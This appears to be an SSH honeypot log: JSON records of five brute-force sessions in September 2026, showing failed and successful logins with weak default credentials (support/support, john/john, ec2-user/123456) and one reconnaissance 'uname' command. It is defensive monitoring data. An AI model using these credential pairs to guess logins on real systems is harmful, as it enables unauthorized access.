}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: botuser
{
"id": "04e335c8a4a6",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:08.023566Z",
"end_time": "2026-09-29T01:58:09.976535Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "botuser",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ubuntu / .
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "2567184267b6",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:02.912949Z",
"end_time": "2026-09-29T01:58:04.460117Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ubuntu",
"pass": "."
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "c05b11a4c23c",
"src_ip": "176.53.159.196",
"start_time": "2026-09-29T01:57:58.193492Z",
"end_time": "2026-09-29T01:57:59.465286Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ec2-user
{
"id": "a7b1ff999389",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:57:57.602231Z",
"end_time": "2026-09-29T01:57:59.968509Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ec2-user",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: john
{
"id": "a3f74bb59a00",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:57:52.220170Z",
"end_time": "2026-09-29T01:57:54.418187Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "john",
"pass": "john"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}